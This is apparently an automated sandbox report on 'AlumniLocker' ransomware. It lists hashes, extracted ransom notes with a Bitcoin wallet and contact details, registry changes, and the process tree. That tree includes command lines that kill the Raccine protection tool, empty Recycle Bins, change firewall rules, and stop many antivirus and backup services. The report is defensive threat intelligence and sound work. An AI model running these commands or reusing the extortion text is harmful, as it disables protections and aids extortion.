e97c6e05b1a3d287151638ffe86229597b188f9aa6d34db255f08dbc11dbfbd8

General

Target

444.exe
Size

2.2MB
MD5

eb154d544f8cb7aeac7700100bfe7c1a
SHA1

5bc2d79943de6b47768db926704e21e88cb95aa2
SHA256

e97c6e05b1a3d287151638ffe86229597b188f9aa6d34db255f08dbc11dbfbd8
SHA512

22964c627143afba28b6b4f05bb93867edabe9842090c85cbc193ef957e26a2cf60660e6f98fbeb8218f5876cfcdb382094c537539e7709014ddc9bef8a2d165

Score

10^/10

evasion persistence ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\HOW_TO_RECOVER_YOUR_FILES.txt

Ransom Note

Your files is safely locked and automatically backup on our servers to unlock your files and get your password send this exact amount in 48 hours: 10 BTC ATTENTION: You just have 48 hours at the end of this period if you not pay this fee all of your personal files and data will be published on our WALL OF SHAME as public on internet. YOU CAN CONTACT WITH US INSTANT OVER ON TELEGRAM: AlumniLocker Bitcoin address for payment: 35LikWJCjvfHWDZezZXswgqNeuT6gv36YM All your data will UNLOCK automatically after the payment if you have any problem or question feel free to contact with us after the payment. TELEGRAM: AlumniLocker E-MAIL: alumnilocker@protonmail.com WALL OF SHAME URL: http://alumnilou7kzo4vzdedsoe6wnxoggbzsxk7qgnmmlsrf4mzuqchwsjid.onion IMPORTANT NOTE: DO NOT CONTACT WITH US BEFORE THE PAYMENT! We not reply messages without payment proof if you want to get answer have to send your payment proof as a screenshot. WHERE YOU CAN GET BITCOIN? www.localbitcoins.com www.paxful.com www.binance.com www.coinbase.com Key Identifier: SBylrZZY2rCNTq17EDhLqAGo6TEqvXsIRxu0X0yK0FOPh+FMIXZ5sV9xs1vBQe3G5lHGK04EC546y3uVZiprd884T/hm3uJAwGK5htbTVPn3GWtgt46YRNcOfHhqS0hfPiZ02zQ7z4/4lCRVDGzVrTBGKWXi9LZUFzThfJprgJS9tPu5mXCY0oB5ZF2BMte06/l2Grs1OwE9dXAnfzfs8C4XT5wf0ua8F2Qlf8YT8NfVU6I55PkEeJsrOGjC8J92it5YOIuQm9eFpWH7+oKT57N22gWmGqsCg8O5TMXSlLOA0nu23C6d6fcZRN47luPI9BkURrcqRYzWSO4FwdwGfPD2c9WAAAwbjPpdavPqQhN3tNOSXXLcdbEJabtQBVAF0QpdddlGmEfTv2hjG5PFC4T62Mcn5WKyCRLAgXq9C8C/sDDR3jecuP1aS2A6zMZOd+/69iVbR+V2pz6mo9lYuV+vCPZK3oLE51F0+ygSrCC8/Ctmak4Jeh7eZUDyUkaKYMCnoQvc8XgCZttTCIFj02hj08N5Bd1eIkBQVTU/pHq0cVRqVeZLgcBkwBzXCdsFg5m2k07NgUyZrDktkt9k0Zw+DliL/nGlfkdY/WS1XV9rk7RwnXYAedbaI7FadnGBLj6MtjwyRx1MAt69eS5LuM5q/ywkm6zD1jxUTzQULM4=

Emails

alumnilocker@protonmail.com

Wallets

35LikWJCjvfHWDZezZXswgqNeuT6gv36YM

URLs

http://alumnilou7kzo4vzdedsoe6wnxoggbzsxk7qgnmmlsrf4mzuqchwsjid.onion

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_RECOVER_YOUR_FILES.txt

Ransom Note

Your files is safely locked and automatically backup on our servers to unlock your files and get your password send this exact amount in 48 hours: 10 BTC ATTENTION: You just have 48 hours at the end of this period if you not pay this fee all of your personal files and data will be published on our WALL OF SHAME as public on internet. YOU CAN CONTACT WITH US INSTANT OVER ON TELEGRAM: AlumniLocker Bitcoin address for payment: 35LikWJCjvfHWDZezZXswgqNeuT6gv36YM All your data will UNLOCK automatically after the payment if you have any problem or question feel free to contact with us after the payment. TELEGRAM: AlumniLocker E-MAIL: alumnilocker@protonmail.com WALL OF SHAME URL: http://alumnilou7kzo4vzdedsoe6wnxoggbzsxk7qgnmmlsrf4mzuqchwsjid.onion IMPORTANT NOTE: DO NOT CONTACT WITH US BEFORE THE PAYMENT! We not reply messages without payment proof if you want to get answer have to send your payment proof as a screenshot. WHERE YOU CAN GET BITCOIN? www.localbitcoins.com www.paxful.com www.binance.com www.coinbase.com Key Identifier: SBylrZZY2rCNTq17EDhLqAGo6TEqvXsIRxu0X0yK0FOPh+FMIXZ5sV9xs1vBQe3G5lHGK04EC546y3uVZiprd884T/hm3uJAwGK5htbTVPn3GWtgt46YRNcOfHhqS0hfPiZ02zQ7z4/4lCRVDGzVrTBGKWXi9LZUFzThfJprgJS9tPu5mXCY0oB5ZF2BMte06/l2Grs1OwE9dXAnfzfs8C4XT5wf0ua8F2Qlf8YT8NfVU6I55PkEeJsrOGjC8J92it5YOIuQm9eFpWH7+oKT57N22gWmGqsCg8O5TMXSlLOA0nu23C6d6fcZRN47luPI9BkURrcqRYzWSO4FwdwGfPD2c9WAAAwbjPpdavPqQhN3tNOSXXLcdbEJabtQBVAF0QpdddlGmEfTv2hjG5PFC4T62Mcn5WKyCRLAgXq9C8C/sDDR3jecuP1aS2A6zMZOd+/69iVbR+V2pz6mo9lYuV+vCPZK3oLE51F0+ygSrCC8/Ctmak4Jeh7eZUDyUkaKYMCnoQvc8XgCZttTCIFj02hj08N5Bd1eIkBQVTU/pHq0cVRqVeZLgcBkwBzXCdsFg5m2k07NgUyZrDktkt9k0Zw+DliL/nGlfkdY/WS1XV9rk7RwnXYAedbaI7FadnGBLj6MtjwyRx1MAt69eS5LuM5q/ywkm6zD1jxUTzQULM4= Number of files that were processed is: 478

Emails

alumnilocker@protonmail.com

Wallets

35LikWJCjvfHWDZezZXswgqNeuT6gv36YM

URLs

http://alumnilou7kzo4vzdedsoe6wnxoggbzsxk7qgnmmlsrf4mzuqchwsjid.onion

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

444.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\MergeFormat.raw => C:\Users\Admin\Pictures\MergeFormat.raw.alumni	444.exe
File opened for modification	C:\Users\Admin\Pictures\MergeFormat.raw.alumni	444.exe
File renamed	C:\Users\Admin\Pictures\UpdateGrant.crw => C:\Users\Admin\Pictures\UpdateGrant.crw.alumni	444.exe
File opened for modification	C:\Users\Admin\Pictures\UpdateGrant.crw.alumni	444.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

444.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	444.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	444.exe

Drops startup file 1 IoCs

Processes:

444.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 444.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	444.exe

themida 1 IoCs

Detects Themida, Advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/1904-5-0x0000000000F70000-0x0000000000F71000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

444.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 444.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	444.exe

Drops desktop.ini file(s) 5 IoCs

Processes:

444.exe

description	ioc	process
File created	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	444.exe
File created	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	444.exe
File created	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini	444.exe
File created	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini	444.exe
File created	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini	444.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

444.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP."	444.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your logon password was changed also your files is safely locked and automatically backup on our servers to unlock your files and get your password send this exact amount in 48 hours: \r\n10 BTC \r\n\r\nYOU CAN CONTACT WITH US INSTANT OVER ON TELEGRAM OUR TG ADDRESS: \r\nAlumniLocker\r\n\r\nATTENTION: You just have 48 hours at the end of this period if you not pay this fee all of your personal files and data will be published on our WALL OF SHAME as public on internet.\r\n\r\nBitcoin address for payment:\r\n35LikWJCjvfHWDZezZXswgqNeuT6gv36YM\r\n\r\nAll your data will UNLOCK automatically after the payment if you have any problem or question feel free to contact with us after the payment.\r\n\r\nYOU CAN CONTACT INSTANT WITH TELEGRAM\r\n\r\nTELEGRAM:\r\nAlumniLocker\r\n\r\nE-MAIL:\r\nalumnilocker@protonmail.com\r\n\r\nWALL OF SHAME URL:\r\nhttp://alumnilou7kzo4vzdedsoe6wnxoggbzsxk7qgnmmlsrf4mzuqchwsjid.onion\r\n\r\nIMPORTANT NOTE:\r\nDO NOT CONTACT WITH US BEFORE THE PAYMENT! We not reply messages without payment proof if you want to get answer have to send your payment proof as a screenshot.\r\n\r\nWHERE YOU CAN GET BITCOIN?\r\nwww.localbitcoins.com\r\nwww.paxful.com\r\nwww.binance.com\r\nwww.coinbase.com\r\n\r\nInformation: Your Windows LogOn Password has been changed..."	444.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

444.exe

pid process

1904 444.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

268 taskkill.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1816 reg.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

756 notepad.exe
Runs net.exe

pid	process
268	taskkill.exe

pid	process
1816	reg.exe

pid	process
756	notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

444.exe

pid	process
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe
1904	444.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

444.exetaskkill.exe

description pid process

Token: SeDebugPrivilege 1904 444.exe
Token: SeDebugPrivilege 268 taskkill.exe
Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

444.exe

pid process

1904 444.exe
1904 444.exe
1904 444.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

444.exe

pid process

1904 444.exe
1904 444.exe
1904 444.exe

description	pid	process
Token: SeDebugPrivilege	1904	444.exe
Token: SeDebugPrivilege	268	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

444.exe

description	pid	process	target process
PID 1904 wrote to memory of 268	1904	444.exe	taskkill.exe
PID 1904 wrote to memory of 268	1904	444.exe	taskkill.exe
PID 1904 wrote to memory of 268	1904	444.exe	taskkill.exe
PID 1904 wrote to memory of 268	1904	444.exe	taskkill.exe
PID 1904 wrote to memory of 1492	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1492	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1492	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1492	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1816	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1816	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1816	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1816	1904	444.exe	reg.exe
PID 1904 wrote to memory of 1180	1904	444.exe	schtasks.exe
PID 1904 wrote to memory of 1180	1904	444.exe	schtasks.exe
PID 1904 wrote to memory of 1180	1904	444.exe	schtasks.exe
PID 1904 wrote to memory of 1180	1904	444.exe	schtasks.exe
PID 1904 wrote to memory of 848	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 848	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 848	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 848	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 1064	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 1064	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 1064	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 1064	1904	444.exe	cmd.exe
PID 1904 wrote to memory of 472	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 472	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 472	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 472	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 1220	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 1220	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 1220	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 1220	1904	444.exe	netsh.exe
PID 1904 wrote to memory of 1264	1904	444.exe	net.exe
PID 1904 wrote to memory of 1264	1904	444.exe	net.exe
PID 1904 wrote to memory of 1264	1904	444.exe	net.exe
PID 1904 wrote to memory of 1264	1904	444.exe	net.exe
PID 1904 wrote to memory of 1104	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1104	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1104	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1104	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1980	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1980	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1980	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1980	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1108	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1108	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1108	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1108	1904	444.exe	sc.exe
PID 1904 wrote to memory of 568	1904	444.exe	net1.exe
PID 1904 wrote to memory of 568	1904	444.exe	net1.exe
PID 1904 wrote to memory of 568	1904	444.exe	net1.exe
PID 1904 wrote to memory of 568	1904	444.exe	net1.exe
PID 1904 wrote to memory of 1520	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1520	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1520	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1520	1904	444.exe	sc.exe
PID 1904 wrote to memory of 1720	1904	444.exe	net.exe
PID 1904 wrote to memory of 1720	1904	444.exe	net.exe
PID 1904 wrote to memory of 1720	1904	444.exe	net.exe
PID 1904 wrote to memory of 1720	1904	444.exe	net.exe
PID 1904 wrote to memory of 724	1904	444.exe	conhost.exe
PID 1904 wrote to memory of 724	1904	444.exe	conhost.exe
PID 1904 wrote to memory of 724	1904	444.exe	conhost.exe
PID 1904 wrote to memory of 724	1904	444.exe	conhost.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

444.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP."	444.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "Your logon password was changed also your files is safely locked and automatically backup on our servers to unlock your files and get your password send this exact amount in 48 hours: \r\n10 BTC \r\n\r\nYOU CAN CONTACT WITH US INSTANT OVER ON TELEGRAM OUR TG ADDRESS: \r\nAlumniLocker\r\n\r\nATTENTION: You just have 48 hours at the end of this period if you not pay this fee all of your personal files and data will be published on our WALL OF SHAME as public on internet.\r\n\r\nBitcoin address for payment:\r\n35LikWJCjvfHWDZezZXswgqNeuT6gv36YM\r\n\r\nAll your data will UNLOCK automatically after the payment if you have any problem or question feel free to contact with us after the payment.\r\n\r\nYOU CAN CONTACT INSTANT WITH TELEGRAM\r\n\r\nTELEGRAM:\r\nAlumniLocker\r\n\r\nE-MAIL:\r\nalumnilocker@protonmail.com\r\n\r\nWALL OF SHAME URL:\r\nhttp://alumnilou7kzo4vzdedsoe6wnxoggbzsxk7qgnmmlsrf4mzuqchwsjid.onion\r\n\r\nIMPORTANT NOTE:\r\nDO NOT CONTACT WITH US BEFORE THE PAYMENT! We not reply messages without payment proof if you want to get answer have to send your payment proof as a screenshot.\r\n\r\nWHERE YOU CAN GET BITCOIN?\r\nwww.localbitcoins.com\r\nwww.paxful.com\r\nwww.binance.com\r\nwww.coinbase.com\r\n\r\nInformation: Your Windows LogOn Password has been changed..."	444.exe

C:\Users\Admin\AppData\Local\Temp\444.exe
"C:\Users\Admin\AppData\Local\Temp\444.exe"
1⤵
- Modifies extensions of user files
- Checks BIOS information in registry
- Drops startup file
- Checks whether UAC is enabled
- Drops desktop.ini file(s)
- Modifies WinLogon
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1904

C:\Windows\SysWOW64\taskkill.exe
"taskkill" /F /IM RaccineSettings.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:268

C:\Windows\SysWOW64\reg.exe
"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
2⤵
PID:1492

C:\Windows\SysWOW64\reg.exe
"reg" delete HKCU\Software\Raccine /F
2⤵
- Modifies registry key
PID:1816

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /DELETE /TN "Raccine Rules Updater" /F
2⤵
PID:1180

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
2⤵
PID:848

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c rd /s /q D:\\$Recycle.bin
2⤵
PID:1064

C:\Windows\SysWOW64\netsh.exe
"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
2⤵
PID:472

C:\Windows\SysWOW64\netsh.exe
"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
2⤵
PID:1220

C:\Windows\SysWOW64\sc.exe
"sc.exe" config Dnscache start= auto
2⤵
PID:1264

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
PID:1104

C:\Windows\SysWOW64\sc.exe
"sc.exe" config FDResPub start= auto
2⤵
PID:1980

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SSDPSRV start= auto
2⤵
PID:1108

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
PID:568

C:\Windows\SysWOW64\sc.exe
"sc.exe" config upnphost start= auto
2⤵
PID:1520

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
PID:1720

C:\Windows\SysWOW64\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
PID:724

C:\Windows\SysWOW64\net.exe
"net.exe" start Dnscache /y
2⤵
PID:332

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start Dnscache /y
3⤵
PID:1484

C:\Windows\SysWOW64\net.exe
"net.exe" start FDResPub /y
2⤵
PID:1776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start FDResPub /y
3⤵
PID:1612

C:\Windows\SysWOW64\net.exe
"net.exe" stop bedbg /y
2⤵
PID:676

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
3⤵
PID:1472

C:\Windows\SysWOW64\net.exe
"net.exe" start upnphost /y
2⤵
PID:1504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start upnphost /y
3⤵
PID:1528

C:\Windows\SysWOW64\net.exe
"net.exe" start SSDPSRV /y
2⤵
PID:1032

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start SSDPSRV /y
3⤵
PID:1328

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$SQL_2008 /y
2⤵
PID:952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
3⤵
PID:1100

C:\Windows\SysWOW64\net.exe
"net.exe" stop EhttpSrv /y
2⤵
PID:1480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
3⤵
PID:1120

C:\Windows\SysWOW64\net.exe
"net.exe" stop MMS /y
2⤵
PID:1276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
3⤵
PID:576

C:\Windows\SysWOW64\net.exe
"net.exe" stop mfewc /y
2⤵
PID:616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
3⤵
PID:568

C:\Windows\SysWOW64\net.exe
"net.exe" stop BMR Boot Service /y
2⤵
PID:1720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
3⤵
PID:1328

C:\Windows\SysWOW64\net.exe
"net.exe" stop NetBackup BMR MTFTP Service /y
2⤵
PID:1264

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
3⤵
PID:2064

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$SYSTEM_BGC /y
2⤵
PID:1488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
3⤵
PID:2128

C:\Windows\SysWOW64\net.exe
"net.exe" stop EPSecurityService /y
2⤵
PID:1472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
3⤵
PID:2184

C:\Windows\SysWOW64\net.exe
"net.exe" stop avpsus /y
2⤵
PID:2152

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop avpsus /y
3⤵
PID:2316

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$SQLEXPRESS /y
2⤵
PID:2300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
3⤵
PID:2452

C:\Windows\SysWOW64\net.exe
"net.exe" stop DefWatch /y
2⤵
PID:2248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
3⤵
PID:2356

C:\Windows\SysWOW64\net.exe
"net.exe" stop McAfeeDLPAgentService /y
2⤵
PID:2176

C:\Windows\SysWOW64\net.exe
"net.exe" stop ekrn /y
2⤵
PID:2340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ekrn /y
3⤵
PID:2504

C:\Windows\SysWOW64\net.exe
"net.exe" stop EPUpdateService /y
2⤵
PID:2396

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
3⤵
PID:2492

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$TPS /y
2⤵
PID:2108

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$VEEAMSQL2008R2 /y
2⤵
PID:2084

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
PID:2424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
3⤵
PID:2568

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBFCService /y
2⤵
PID:2460

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
3⤵
PID:2604

C:\Windows\SysWOW64\net.exe
"net.exe" stop mozyprobackup /y
2⤵
PID:2520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
3⤵
PID:2592

C:\Windows\SysWOW64\net.exe
"net.exe" stop EsgShKernel /y
2⤵
PID:2544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
3⤵
PID:2668

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBIDPService /y
2⤵
PID:2612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
3⤵
PID:2736

C:\Windows\SysWOW64\net.exe
"net.exe" stop ntrtscan /y
2⤵
PID:2640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
3⤵
PID:2836

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccSetMgr /y
2⤵
PID:2692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
3⤵
PID:2828

C:\Windows\SysWOW64\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:2704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:2892

C:\Windows\SysWOW64\net.exe
"net.exe" stop Intuit.QuickBooks.FCS /y
2⤵
PID:2744

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
3⤵
PID:2852

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
PID:2756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
3⤵
PID:2876

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooBackup /y
2⤵
PID:2780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
3⤵
PID:2904

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooIT /y
2⤵
PID:2860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
3⤵
PID:2948

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$VEEAMSQL2008R2 /y
2⤵
PID:2912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
3⤵
PID:2976

C:\Windows\SysWOW64\net.exe
"net.exe" stop SavRoam /y
2⤵
PID:2924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
3⤵
PID:2984

C:\Windows\SysWOW64\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:2996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
3⤵
PID:968

C:\Windows\SysWOW64\net.exe
"net.exe" stop ESHASRV /y
2⤵
PID:3024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
3⤵
PID:1244

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$TPSAMA /y
2⤵
PID:2956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
3⤵
PID:848

C:\Windows\SysWOW64\net.exe
"net.exe" stop RTVscan /y
2⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
3⤵
PID:1300

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
2⤵
PID:3068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
3⤵
PID:1480

C:\Windows\SysWOW64\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
3⤵
PID:1900

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:1772

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:2180

C:\Windows\SysWOW64\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:2360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
3⤵
PID:2152

C:\Windows\SysWOW64\net.exe
"net.exe" stop SDRSVC /y
2⤵
PID:2356

C:\Windows\SysWOW64\net1.exe
